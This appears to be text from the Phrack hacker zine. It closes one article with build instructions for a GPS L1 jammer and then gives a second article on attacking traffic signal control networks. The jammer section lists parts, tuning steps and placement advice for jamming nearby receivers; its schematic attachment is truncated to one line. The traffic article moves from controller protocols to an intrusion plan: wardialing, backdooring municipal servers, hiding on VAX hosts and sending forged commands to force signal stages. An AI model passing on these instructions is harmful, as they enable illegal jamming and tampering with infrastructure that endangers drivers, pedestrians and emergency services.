A low cost device to temporarily disable the reception of the civilian course acquisition (C/A) code used for the standard positioning service (SPS)[1] on the Global Positioning System (GPS/NAVSTAR) L1 frequency of 1575.42 MHz.

This is accomplished by transmitting a narrowband Gaussian noise signal, with a deviation of +/‑ 1.023 MHz, on the L1 GPS frequency itself. This technique is a little more complicated than a simple continuous wave (CW) jammer, but tends to be more effective (i.e. harder to filter) against spread spectrum based radio receivers.

This device will have no effect on the precise positioning service (PPS) which is transmitted on the GPS L2 frequency of 1227.6 MHz and little effect on the P‑code which is also carried on the L1 frequency. There may be a problem if your particular GPS receiver needs to acquire the P(Y)‑code through the C/A‑code before proper operation.

This device will also not work against the new upcoming GPS L5 frequency of 1176.45 MHz or the Russian GLONASS or European Galileo systems. It can be adapted to jam the new civilian C/A‑code signal which is going to also be transmitted on the GPS L2 frequency.

That said, it will work against the majority of consumer/OEM GPS receivers, provided they are not setup in any advanced anti‑jam configuration.

‑‑‑[ 2 ‑ Why?

The onslaught of cheap GPS based navigation (or hidden tracking devices) over the past few years has made it necessary for the typical citizen to take up the fine art of electronic warfare.

Several companies[2] now sell "hidden" GPS based tracking devices which mount inside or underneath your vehicle. Some transmit the coordinates, via cellular phone, of your vehicle's present and/or past locations for weeks at a time without battery changes or court orders!

Vehicle rental companies have been known to use GPS tracking devices to verify you don't speed or abuse their rental vehicles. The unsuspecting renter is often faced with these hidden abuse "fees" after returning the rental vehicle.

Law enforcement agencies are dumb enough to keep track of house arrest prisoners with simple GPS based tracking bracelets[3]. Some even use GPS for automatic vehicle location (AVL) on their squad cars to allow the dispatchers to send in the closest unit to a particular call or to know an officer's location in case of an emergency situation where they can't use their radio.

Cellular phone companies, trucking companies, private investigators, toll‑roads, aircraft, those "protect your child" systems and many more services are all fully involved with the use of GPS based tracking. The problem is, do you really want everyone to know where you are?

‑‑‑[ 3 ‑ Technical Description

This will be a brief description of each of the major sections which compromise the entire jammer device. Refer to the included schematic diagram (Appendix B) as you read along. You should also refer to the component's datasheets for even more detailed information.

‑‑‑[ 3.1 ‑ Phase Locked Loop

The jammer's main oscillator components consist of a Motorola MC145151 phase‑locked loop (PLL) frequency synthesizer chip, a Micronetics M35001324S voltage controlled oscillator (VCO) module and a Fijitsu MB506 divide ‑by‑256 prescaler chip.

The VCO feeds a portion of its radio frequency (RF) output signal into the prescaler chip, where it is divided by 256. A 1575 MHz signal would be turned into a 6.15234375 MHz signal. This is then fed into one side of the PLL chip.

The other side of the PLL is fed with a reference frequency which is derived from a 10 MHz quartz crystal. This crystal reference frequency is divided down 512 times by the PLL to reach 19531.25 Hz. The 6.15234375 MHz prescaler output frequency is also further divided down 315 times by the PLL chip for a final frequency of 19531.25 Hz. This will be the new PLL internal reference frequency. That big bad 1575 MHz microwave signal now looks like a simple audio frequency to the PLL chip and the supporting components.

The PLL chip internally compares the phase of the 19531.25 Hz VCO side signal to the phase of the 19531.25 Hz crystal side signal. The PLL chip outputs high or low voltage pulses depending on whether the crystal signal is leading or lagging in phase with the VCO signal. These pulses are then filtered and dampened into a pure DC control signal via a simple passive loop filter. This cleaned up signal is then connected to the VCO's voltage tune control input.

When everything is working properly, the VCO's output frequency is locked to whatever frequency you programmed into the PLL chip, 1575 MHz in this case. It will stay on that frequency even through dramatic temperature changes, a problem that a non‑PLL VCO would have. If the PLL is not working properly, the red "PLL Unlock" LED will be lit.

Due to a quirk with using low cost, easy to obtain components, you'll need to tweak two loading capacitors on the reference crystal. This is unusual, but necessary to move the signal from the default 1575 MHz to the more appropriate 1575.42 MHz (+/‑ a few hundred Hertz). This is a very important and delicate procedure, and you'll need a frequency counter to accomplish it.

‑‑‑[ 3.2 ‑ Noise Generator

The actual noise generator of the jammer is very simple. A 6.8 Volt Zener diode is first biased, buffered and amplified by a single 2N3904 transistor. This single Zener diode is capable of generating broadband noise signals from audio frequencies up to over 100 MHz. We then filter this noise signal down to something more practical and something which the VCO module can actually respond too. This is done via the LM386 audio amplifier chip. The LM386 both amplifies and low pass filters the final noise signal. The final LM386 output signal will have enough overhead if you need to adapt it for a wideband noise jammer.

This low frequency noise signal is fed, via a 100 Ohm potentiometer, to a simple resistor/capacitor network where it's mixed with the VCO voltage tune control signal (described above). The single 1N4148 diode is to prevent any negative voltage pulses from reaching the VCO.

This mixing results in a new "noisy" voltage tune control signal feeding the VCO. The resulting RF signal looks like random noise dancing around the center 1575.42 MHz RF carrier. You'll need to set the deviation of this noise to approximately +/‑ 1.023 MHz from the 1575.42 MHz RF carrier. Access to a spectrum analyzer is required to do this properly, or you can use an oscilloscope and the included test point voltages to get an approximate setup.

‑‑‑[ 3.3 ‑ RF Amplifiers

The VCO's +7 dBm (5 milliwatts) RF output is first slightly attenuated (4 dB) and tapped for the MB506 prescaler input. It then passes through to the RF amplifier stages and band pass filter.

The first RF amplifier is a Sirenza Microdevices SGA‑6289. It provides about 13 dB of gain to overcome the losses from the resistive attenuation pad. It also shows a good 50 Ohm termination for the VCO RF output and even helps to drive the final RF amplifier.

The GPS band pass filter is a 2‑pole Toko 4DFA‑1575B‑12 ceramic dielectric filter from Digi‑Key[4], part number TKS2609CT‑ND. This part is optional, but helps clean up the RF spectrum before further amplification. The filter's insertion loss is around 2 dB.

The final RF amplifier is a WJ Communications AH102. It provides another 13 dB of gain, with a higher P1dB compression point of around +27 dBm (500 mW). The AH102 draws the most current of any part, and is not really necessary if you're aiming for a low range, low current, battery operated device.

‑‑‑[ 3.4 ‑ Voltage Regulation

Voltage input regulation and filtering is done using standard voltage regulator ICs. A LM2940CT‑12 12 Volt, 1 Amp low dropout voltage regulator is used to regulate the main 12 Volt power line. Standard 78xx series regulators are used from there on to provide both the 9 and 5 Volt lines. A simple diode/fuse polarity protection scheme is also provided on the battery input. The use of an automatic reset fuse is highly recommended.

You can power the jammer off a common 12 Volt rechargeable battery. The 12 Volt, 4.5 Amp‑hour, lead‑acid battery from Radio Shack[5], part number 23‑289, is a good choice. Old car batteries, strings of 6 Volt lantern batteries or even solar panels will also work. Current draw for the completed jammer will be around 300 milliamps.

‑‑‑[ 3.5 ‑ Antenna

A radiating antenna is not shown in the schematic diagram and one will need to be purchased or constructed for proper operation. There are numerous commercial GPS receiving antennas which will work fine for this low power transmitting application. Some of the best pre‑made or easily assembled microwave antennas can be purchased directly from Ramsey Electronics[6].

The Ramsey DA25 broadband discone antenna is recommended for omnidirectional (transmit in a circle) radiating applications. The LPY2 log periodic Yagi antenna can be used for directional (transmit in a straight line) radiating applications. Using a directional antenna will give you a slight increase in overall transmitted RF power, which increases the jammer's range, and can also be used to shield your own GPS receiver from being jammed (i.e. point it at the enemy).

Dielectric GPS patch antenna elements may also be purchased from DigiKey. Toko DAK series elements, Digi‑Key part number TK5150‑ND, are perfect for surface mounting directly to the circuit board. They will require a plastic radome to slightly lower their resonant frequency. The small antenna element size is also perfect for hidden or portable operations.

‑‑‑[ 4 ‑ Construction Notes

Unfortunately, proper jammer construction will require fairly advanced engineering skills. Prior knowledge of high frequency microwave circuits and printed circuit board (PCB) design is required. A good start for the beginner is by reading the "UHF/Microwave Handbook" and "The ARRL Handbook" both published by the Amateur Radio Relay League (ARRL)[7]. Access to fundamental RF test equipment (oscilloscope, frequency counter, spectrum analyzer, loads, attenuators, etc.) is also required.

‑‑‑[ 4.1 ‑ Component Purchasing

The main VCO module and RF amplifiers can be purchased from Richardson Electronics[8]. Part number M3500C‑1324S for the VCO module and part numbers SGA‑6289 and AH102 for the RF amplifiers. Equivalent VCO and RF amplifiers can be purchased from companies such as Mini‑Circuits[9] or Synergy Microwave[10]. Slight component changes may be required if using alternate components to take into account different operating voltages and input/output RF power requirements. The PLL loop filter may also need tweaking if you use a different VCO module.

The MC145151 PLL synthesizer chip can be purchased from Digi‑Key. There are several pin packages available (leaded or surface mount), choose the one suitable for your application. The small 28‑SOIC surface mount package is part number MC145151DW2‑ND. You may also be able to salvage MC145151 chips from older CB radios or older C‑band satellite receivers (the kind that where tuned via DIP switches).

Digi‑Key also handles an equivalent prescaler IC, the NEC UPG1507GV, part number UPB1507GV‑ND. This is an exact replacement for the Fijitsu MB506, but the main drawback to the UPG1507GV is that it is in a 8‑SSOP package (i.e. very small) and is fairly difficult to work with using standard soldering tools.

The 10 MHz crystal is also available from Digi‑Key, part number 300‑6121‑1‑ND. Other miscellaneous components may also be purchased from Digi‑Key (capacitors, resistors, voltage regulators, inductors, diodes, transistors, LM386, project box, RF connectors, etc.) as their prices are the most competitive and their service is outstanding.

‑‑‑[ 4.2 ‑ Layout

No PCB pattern is available, you'll have to layout the project by hand using felt‑tip markers, drafting tape, dry‑etch or iron‑on transfers. You should make your own PCB pattern to fit your application specifically.

The PCB layout isn't that difficult or challenging, but will require prior experience and patience. Using all surface mount components and good board layout practices will reduce the jammer's physical size and cost tremendously.

The use of high frequency, double sided copper clad laminate is essential for properly working microwave circuits. GIL Technologies[11] GML1000 (2‑side, 1 oz., 0.030") is a good choice but standard FR‑4 laminate will work in a pinch. You can purchase 6" x 6" FR‑4 (2‑side, 1 oz., 0.030") laminate from Digi‑Key, part number PC45‑S‑ND.

A 50 Ohm micro stripline on 0.030" GML1000 PCB laminate will be about 70 mils (1.8 mm) wide and on FR‑4 it will be about 55 mils (1.5 mm) wide. Be sure to keep any micro stripline carrying RF signals short, straight and perpendicular to any DC bias line or any other micro stripline it has to cross.

The 2 mm wide line in the dry‑etch transfer package from Radio Shack, part number 276‑1490, will work O.K. on both materials for creating homebrew micro striplines which are close enough to 50 Ohms.

The two RF amplifiers, band pass filter, VCO and prescaler PCB patterns will all require numerous ground vias connecting the top and bottom ground planes. These help prevent ground loops and instability (oscillations) from disrupting proper circuit operation. In the case of the AH102, they even provide some heat sinking to allow cooler operation of the final RF amplifier.

Any resistors, capacitors or inductors used in the RF sections should be in a 0603, 0805 or 1206 size surface mount package. Leaded components will not work at this high of a frequency. Be sure your choice of surface mount inductors can handle the current when used as part of the DC bias on the RF amplifiers. The ferrite bead shown in the schematic can be any salvaged ferrite bead. The inductor assortment package at Radio Shack, part number 273‑1601 should have a couple of them in it.

‑‑[ 5 ‑ Operation

Once the jammer is operational, you can practice testing it by monitoring the signal on a common consumer GPS receiver or high quality communications receiver. A GPS receiver close to the jammer will not be able to acquire C/A‑code lock and any operating GPS in the jammer's radiation pattern will lose C/A‑code lock. Higher quality GPS receivers tend to be less susceptible to low power jamming, so you'll need to be in the antenna's near‑field radiation pattern (i.e. close) for it to work.

Any obstructions near the jammer's own antenna (trees, houses, hills, walls, etc.) will decrease the jamming range. The best placement is where the jammer's antenna is line‑of‑sight to the antenna of the GPS receiver you're trying to jam. Real world results will vary drastically, but you should be able to obtain a jam radius of a few hundred feet even in heavily obstructed areas with the higher power (AH102) option and a simple antenna.

You can even practice counter‑jamming methods to protect yourself against hostile or accidental GPS jamming. Try to shield your GPS receiver from the interference source by placing your body, trees, hills, rocks or other obstructions in‑between your position and the interference. More advanced methods involve using directional or steerable phased‑array antennas on your GPS receiver (pointed skyward) to nullify any ground based interference.

‑‑[ 6 ‑ References

[1] Standard Positioning Service (SPS) Signal Specification http://www.spacecom.af.mil/usspace/gps_support/gps_documentation.htm

[2] GPS‑Web

http://www.gps‑web.com

Travel Eyes 2 http://www.spyyard.com/details_traveleyes2.htm

[3] VeriTrack http://www.veridian.com/offerings/suboffering.asp?offeringID=472

iSECUREtrac

http://www.isecuretrac.com

Pro Tech Monitoring

http://www.ptm.com

[4] Digi‑Key

http://www.digikey.com

[5] Radio Shack

http://www.radioshack.com

[6] Ramsey Electronics

http://www.ramseyelectronics.com

[7] Amateur Radio Relay League

http://www.arrl.org

[8] Richardson Electronics

http://www.rell.com

[9] Mini‑Circuits

http://www.minicircuits.com

[10] Synergy Microwave

http://www.synergymwave.com

[11] GIL Technologies

http://www.gilam.com

[12] Xcircuit

http://xcircuit.ece.jhu.edu

‑‑[ Appendix A: Links to Datasheets

Alternate component manufactures may be substituted in most cases.

* Fairchild Semiconductor 2N3904 NPN Transistor http://www.fairchildsemi.com/ds/2N/2N3904.pdf

* Micronetics M3500‑1324S VCO http://www.micronetics.com/pdf/vco1324.pdf

* Motorola MC145151 PLL Frequency Synthesizer http://e‑www.motorola.com/brdata/PDFDB/docs/MC145151‑2.pdf

* National LM2940‑12 Voltage Regulator http://www.national.com/ds/LM/LM2940.pdf

* National LM386 Audio Amplifier http://www.national.com/ds/LM/LM386.pdf

* National LM78L05 Voltage Regulator http://www.national.com/ds/LM/LM78L05.pdf

* NEC UPB1506/07GV Prescaler http://www.cel.com/pdf/datasheets/upb1506.pdf

* Sirenza Microdevices SGA‑6289 RF Amplifier http://www.sirenza.com/pdf/datasheets/sga/89/sga‑6289.pdf

* STMicroelectronics 78M09 Voltage Regulator http://eu.st.com/stonline/books/pdf/docs/2146.pdf

* Toko DAK1575MS50T Dielectric Antenna http://www.toko.com/passives/antennas/pdf/DAK1575MS50Tws.pdf

* Toko 4DFA‑1575B‑12 Dielectric Band Pass Filter http://www.toko.com/passives/filters/dielectric/4dfa.html

* WJ Communications AH102 RF Amplifier http://www.wj.com/pdf/AH102.pdf

‑‑[ Appendix B: Schematic Diagram ‑ gps_jammer.ps.gz (uuencoded)

Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped PostScript file. This is the native Xcircuit[12] format and is used for ease of viewing, printing and modification.

<++> ./gps_jammer.ps.gz.uue

begin 644 gps_jammer.ps.gz

M'XL("&A2XST``V=P<U]J86UM97(N<',`[7UKCQNYLMAGZU<P"`QHL5<SW>RW end

<‑‑> ./gps_jammer.ps.gz.uue

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Traffic Lights

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x0e of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Traffic Lights ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ plunkett@hush.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

.:Saving the planet, again:.

/*

* This is purely educational;

* Any knowledge gained from this document is self imposed and thus * the author cannot be held responsible. Any activities resulting from * knowledge gained in this document is not accountable by the author. * If you do not accept this, please refrain from reading further. *

*/

#include <disclaimer.h>

A more environmentally friendly way of traveling by car. As some of you might recall in almost all the hacking movies, books, TV shows, etc. there has been a case of someone fiddling with traffic lights. Well we all just giggled at the unrealistic aspect of it and didn't think twice. Well in my quest for a more appealing planet for our children I felt compelled to think of a way in order to reduce the amount of pollution emitted by vehicles of today.

Standing at a intersection, nobody else around, you're still stuck behind the red light, and this invisible barrier of governmental guilt has enough power to let you wait there and pollute the air more and more, just for a measly green light. Wouldn't it be leet having a laptop in the car where you could just select the intersection off a list, change the timing or current stream running, and ride off with fewer time wasted and fewer pollutants exhausted and a clear conscience.

Now, enough crap about the reasons, now for the technical shit.

Today's traffic controlling system is a well oiled redundant network that utilizes the same protocols that we are all aware of. Yes it is hackable and it is like in the movies. :)

here we go!

a description of some of the terms used.

‑ controller

This is the technical term for a traffic light and will be referred to that way.

‑ UTC

Urban Traffic Control, solid‑state signal controllers connected to central computer by means of PSTN. Provides communication standard for controllers (see fig. 1)

‑ SCOOT

Split Cycle Offset Optimization Technique.

A standard now implemented across majority of traffic systems across the world. It provides adaptive control of controllers, this is done by the controlling office, it receives the traffic flow data from closed loops around the intersection, which it analysis and relays back current configurations in real‑time back to the controller.

‑ ITS Intelligent Transport Systems, This is just a buzzword to describe the whole system covering everything, UTC, SCOOT, CCTV(video) and the whole protocol stack interlinking all of it. (see fig. 2)

‑ NTCIP

This is the protocol that is in process of becoming a standard for traffic management communications. It is based on TCP/IP and revolves mainly on SNMP that has specific MIB's for use in controller messaging. (protocol may vary from country to country) Some controllers in US are NTCIP compatible, namely Thereon and model 170 of NEMA controllers. CCTV, VMS, Field Processors, Ramp metering are all linked via NTCIP.

‑ ATC

Area Traffic Control, This is the Central office that control all the aspects of traffic control management.

‑ FEP

Front End Processor, Virtual Processing for controllers. located before management computer, and connected directly to controllers via instation modem rack or telemetry hardware. One FEP supports up to 512 PSTN lines.

‑ OTU

In UK this is the Outstation Transmission Unit, this provides the means of converting serial data coming from the central computer to parallel data for use in the controller, and provides interchangeability of controllers.

(I'm not sure if this system is a standard across the world, for South Africa it is done by a CCIU Controller Communication Interface Unit}

‑ CMU

Cabinet Monitoring Unit, This is what detects when you fiddle inside the box next to the road. It reports hardware/software faults and packages the data for reporting to the FEP and ATC.

Figure 1. Different link arrangements

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑0 junction 1

/

0‑‑‑‑‑‑‑‑‑‑‑‑0‑‑‑‑0 junction 2

CENTRAL LOCAL \

OFFICE EXCHANGE ‑‑‑0 junction 3

[UTC Radial Arrangement]

‑‑‑0 junction 1

/ \

0‑‑‑‑‑‑‑‑‑‑‑‑0 \

C.O L.E 0‑‑ junction 2

/

/

0 junction 3

[UK Multi‑drop UTC arrangement]

Figure 2. ITS Topologies

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

________ ________ __

|COMPUTER|‑‑‑|COMPUTER|‑‑‑‑‑‑|COMPUTER|

`‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑' `‑‑

(coax) |_____ | (dialup) |__ (radio)

| |

__________ | ____|_____ _

|CONTROLLER|‑| | MASTER |__ |FIELD PROC.|__

`‑‑‑‑‑‑‑‑‑‑' | `‑‑‑‑‑‑‑‑‑‑' | `‑

__________ | __________ | _

| VAX/VMS |‑| | VAX/VMS |__| |CCTV CAMERA|__|

`‑‑‑‑‑‑‑‑‑‑' | `‑‑‑‑‑‑‑‑‑‑' | `‑

__________ | __________ | _

|COUNTSTION|‑| |CONTROLLER|__| |CONTROLLER |__|

`‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑' `‑

_

| VAX/VMS |__|

`‑

(Physical links (Physical links (physical links

EIA 232) FSK‑modem) Fiber)

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

The traffic controller boxes that you see on the road have all a standard configuration set when commissioned, but they are all linked to a central office for remote configuration changes, fault reporting, resetting, etc. The ATC houses a FEP which connects to each controller or the local exchange. The FEP is the direct network connection to the controllers and queries the controllers per second bases and receives the responses which are transported to the central controlling computer [OS/2 or ALPHA VAX in S.A and UK] via DECnet on coaxial or other means via the LAN. The controlling computer then analysis the result and determines faults or other data and places it in the central controlling database on a VAX/VMS. The database is then prioritized and can be accessed via web interface on the local intranet to see fault reports and timing info.

When a reconfiguration is issued, an operator can set all configurations remotely even if a total controller reset is required. This includes stream timings (streams are the various timing configurations), local time, light dimming, emergency stream (for ambulances and such), the different settings will be discussed later. When the operator requests a change in configuration, it is sent to the FEP in a large datagram which is split up and modulated for communication to the controller. The protocols between the OTU/CCIU and the FEP is usually not a standard, and propriety protocols are setup by the manufacturers of the units.

a diagram of how UTC is interlinked is shown. (fig. 3)

figure 3. Protocol and physical link diagram of UTC system

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ATC IN CONTROLLER BOX

____________

|UTC COMPUTER| RS232 SERIAL :

`‑‑‑‑‑‑‑‑‑‑‑‑' SERIAL

| ___ ______

| DECnet‑> _______ |___|MODEM |‑/‑‑|MODEM|‑‑‑‑‑|OTU/CCIU| TCP/IP |‑‑‑‑‑‑‑‑‑| FEP |_|___| RACK | : `‑‑‑‑‑' `‑‑‑‑‑‑‑‑'

ETHERNET | `‑‑‑‑‑‑‑' |___`‑‑‑‑‑‑' : RS232

LAN ‑> | :SERIAL

| (NTCIP encompassed) : ___|______

| protocols : |CONTROLLER|

| _______

|___| |

`‑‑‑‑‑‑‑'

misc. devices :

like VAX/VMS for :

fault monitoring

and such.

The communication between the controller and the ATC is done via a bit stream signals where certain bits represent a preprogrammed function in a controller.

A serial second‑by‑second bit stream is received by each controller continuously and is converted to parallel for use inside the controller. The stream consists of 16 bits, Thus 32 parallel connections can be initiated with the controller, and certain bit streams control certain functions and some have a return value for example to notify the controller which stream currently is running. The communication may look similar to this.

1001011011011101 sent

1000101111010101 received

as said, the comms protocol is more than likely to be propriety and thus non standard. eg. The control bit 10 may 'mean set max green time 30s' and in another, 'hold vehicle stage'. but according to ATC standards globally, there are a couple of standards like stream control, emergency control and resets and more nifty features.

But this is not important because access to the controlling computer is in anyway necessary for control of the controller, and thus the specific protocol used doesn't matter.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

communication technical details, yummy!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UTC messaging

‑‑‑‑‑‑‑‑‑‑‑‑‑

Below is a typical description of the communication between the controller and ATC. UTC is the current system that is used in majority of ATC centers across the world. And communication is pretty much standard. The specific messaging data bits might be different in different countries since it is done proprietly by the controller and system manufacturers. But they tend to stick to a standard, South Africa is based on the UK system, And the UK system is the same as America, and so it all will look basically the same, except for area specific functions.

UTC Control and Reply Bits (Fn = F1,F2,F3... different stages, same for Dx) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Control Description Reply

Dn (or Dx) Demand Individual Stage SDn/SDx

Fn Force Stage

FM Fall Back Mode FC

HI Hurry Call Inhibit

Stage Confirmation, Stage n Gn Hurry Call Confirmation or Reqst HC Manual Control MC Emergency Vehicle EV Vehicle Red Lamp Failure 1 RF1 Vehicle Red Lamp Failure 2 RF2

SFn Switch Facility SCn

SO Solar Override

SG CLF Group Timer Synchronization CG

LO Lamps On/Off LE

LL Local Link Inhibit

TS Time Switch Sync Stored Value

TO Take Over

TC Transmission Confirm

CP Close Car Park CL Detector Fault Monitor DF CLF Group Timer in First Group GR1 Remote Reconnect RR Entry in Controller Fault Log CF Handset Connected TF Lamp Fault LFn Car Park Occup Thresh Exceeded CA Pedestrian Green Confirm PC Queue Detector Presence VQ Detector Vehicle Count VC Car Park Information CSn Queue at Car Park Entry Reservoir CR SCOOT Detector Presence Vsn Cabinet Door Open CO

PV Hold Vehicle Stage

PX Demand Pedestrian Stage

Puffin Clearance Period PR Vehicle Green Confirm GX Wait Indicator Confirm WI

A controller is typically setup to receive 16 to 32 bits of control bits which can be be replied to by the controller using a reply datagram. (note that SCOOT specific functions are done in the same way)

typical Control UTC message:

Bytes 1,2 Control Bytes (Address 2)

Byte 3 (F1,F2,F3,D2,D3,DX,SO,‑) (check above table for bit descr) Byte 4 (‑,‑,‑,‑,‑,‑,‑,TS)

0 0 0 0 0 0 1 0 0 1 0 1 0 0 1 0 0 0 0 0 0 0 0 0

typical Reply UTC message:

Bytes 1,2 Reply Bytes (Address 2)

Byte 3 (G1,G2,G3,‑,‑,DF,CF,‑) (check above table for bit descr) Byte 4 (‑,‑,‑,‑,‑,‑,‑,RT)

0 0 0 0 0 0 1 0 0 1 0 1 0 0 1 0 0 0 0 0 0 0 0 0

The communication is done asynchronously and in the controller represented as parallel, whereas in the FEP its serial. The modulation can be done either by FEP or instation specific controller cards.

NTCIP Messaging (UK and some US ATC's)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am not going to discuss the specific NTCIP messaging system because it is not set as a standard yet, and basically, because I haven't had the pleasure of playing with it. America (except NY and other big cities), South Africa, Namibia and I think majority of countries across the world still use SCOOT capable UTC primarily whereas

UK is adopting it as standard.

The NTCIP stack:

Layer Class A Class B Class C

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Application (7) SNMP/STMP SNMP/STMP SNMP/STMP/FTP

Presentation (6) ‑ ‑ ‑

Session (5) ‑ ‑ ‑

Transport (4) UDP ‑ TCP/UDP

Network (3) IP Null IP

Data Link (2) HDLC HDLC HDLC

Physical (1) RS232/FSK RS232/FSK RS232/FSK

A and C are not standard but could be used. For

tcp compatibility and routing.

A and C can be implemented as well as additional TCP/IP stacks.

B is defined as standard and is used for bandwidth efficient exchange of data but does not provide assurance of delivery, this is in turn done by the physical layer for necessary retransmission.

B only contains three layers, application, data link, physical layer. This is because the constant line between office and controller is fixed and thus no routing is necessary and SNMP includes the session features.

NTCIP and SNMP and some STMP:

SNMP commands:

‑get

‑set

‑get Next/get Bulk

‑trap

The manager (ATC) may send out 'get' command to retrieve information from the agent (CONTROLLER) and waits for a reply. But SNMP does not provide for the agent to initiate contact, and thus the manager polls periodically with the 'trap' command. This is done on a per second basis.

The typical SNMP frame is 37 Bytes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|ver|community|command|req id|error status|error index|objct id|objct value|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ver=

SNMP v1 ‑NTCIP v2 included security features which they thought was a waste of bandwidth‑ ;)

Id flag=

is used for matching up the messages with replies

community name=

essentially a password

core message in Object ID and Value=

the controller control data and reply section

SNMP is a bandwidth eating protocol, so they designed the STMP (simple transportation management protocol) which is a cut down vers of SNMP. It uses the same commands but has the added benefit of having no header and using dynamic objects. Dynamic objects can encompass a number of variables like time, date, year and all in one object. The objects are defined online and both the instation and outstation parties know what the object describes and thus just a single value needs to be transmitted. The typical size of an STMP message is 1 byte, with a maximum of 13 dynamic objects.

Comparison Between UTC and NTCIP Messaging

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UK UTC NTCIP Class B

Polling cycle 1s 1s

Message size Fixed Variable

Device Variables

transmitted All Only parameters to be changed Value of device

variable Bit Integer or Bit

Protocols Proprietary Standardized

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking the Traffic lights GOdDamnit! #$@#%@#%

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok I wanna save the environment now, with my new UhbEr

technique.

Basically, the idea is to get access to the VAX/VMS database or the controlling computer itself. Now since this is on a internal LAN, and runs on DECnet we have to find clever ideas to get in.

Some social engineering can help you a whole lot.

Phone your local municipality, or check out websites, newspapers or anywhere, where specifically, the ATC is situated. Now you will get the contact numbers of people who work there or such, maybe a fault reporting number. Fire up your wardialer and start scanning the prefix. They should have a server where they dialup to commission a new controller or when a new software d/l is needed in the field. In South Africa this is a computer running DOS with pc‑anywhere on. But if they are clever, like all of the centers I've seen, they would have a dial‑back facility, if not, your in luck cause then you are directly linked to the internal LAN, and should start hacking the VAX or FEP. The FEP note, is normally a propriety system, like in South Africa, runs on DOS with some major serial comms protocols. Better the get access to the VAX/OS2 controlling computer for a more familiar system, although the FEP has more control of controller system messages. And you can access the serial connections to the modems directly.

If you are unlucky and have a clever ATC. You must devise another means of access to the internal LAN. In my experience the LAN is always connected to the local municipality WAN for mail purposes and for access to the local intranet for database driven fault reporting. Now to gain access to the local WAN is not that difficult, since they are usually very big and provide gazillion services like websites, mail servers for municipal workers and such. Now Hax0r a web server or something and backdoor it *VERY* *VERY* well. You gonna need it a lot, maybe backdoor a couple. :)

Now on the local WAN, you can probably access the nameserver to the ATC LAN or you can access it directly. I'm not providing a tutorial on hacking, just means of access, so sniff email, network traffic blah blah... till you get access to the VAX or controlling computer.

Now once your in, backdoor it *VERY* *VERY* *VERY* well ;)

you should use all the vax hiding tools and shit, look thru phrack for VAX/VMS hacking. There are a couple of nice SHOW USER hiding tools and stuff written by mentor and a few others. And once you are in, check what is on the DECnet, and maybe see if it is linked to other ATC's. From here you can access the controlling computers, FEP's and everything. Try to see the serial connections directly via FEP or see the communication from the controlling computer, so you can figure out the format of messaging controllers. Or if you are lucky, you can access the program itself used for messaging, if its terminal friendly.

Now find a controller that you have the location for, the addresses are pretty easy to figure out most of the time or just browse through the VAX database of fault reports or check the local intranet. Now construct a suitable message and datagram from captured data, and make it do something noticeable like: UTC message ‑ PX DEMAND PEDESTRIAN STAGE Hopefully, you have a laptop or something, go down to the controller that you intend to send the message to. Now you will notice that all this is done over tcp/ip, since you link to the LAN where you get onto the VAX/VMS DECnet and in turn the controlling computer/FEP. So send through the command and watch if the controller obeys you. If it does then you can start script the whole procedure ;). make nice timings for ENVIROMENTLY friendly travels between destination A and B. Also the commands to force a stage is nice to have, UTC message ‑ Fn ; now if your stuck behind a red light, and just sitting there polluting the air, just force to next stage in stream, and off you go without the guilt of crossing a red light ;)

